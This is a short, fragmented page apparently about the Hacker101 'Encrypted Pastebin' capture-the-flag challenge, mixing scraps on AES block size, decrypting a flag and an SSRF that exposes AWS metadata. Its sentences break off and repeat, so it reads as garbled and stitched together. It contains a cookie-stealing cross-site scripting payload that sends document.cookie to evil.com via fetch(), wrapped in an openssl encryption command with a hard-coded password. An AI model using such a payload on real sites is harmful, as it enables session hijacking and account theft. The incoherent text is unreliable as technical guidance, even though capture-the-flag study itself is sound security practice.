Hacker101 Encrypted Pastebin Online

The base64 string from the post parameter. Block Size: Usually 16 for AES. 4. Decrypt the Flag

Let’s assume you found an (Server Side Request Forgery) that reveals AWS metadata: hacker101 encrypted pastebin

echo "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>" | openssl enc -aes-256-cbc -pbkdf2 -iter 100000 -salt -pass pass:MySuperSecretKey123! -base64 The base64 string from the post parameter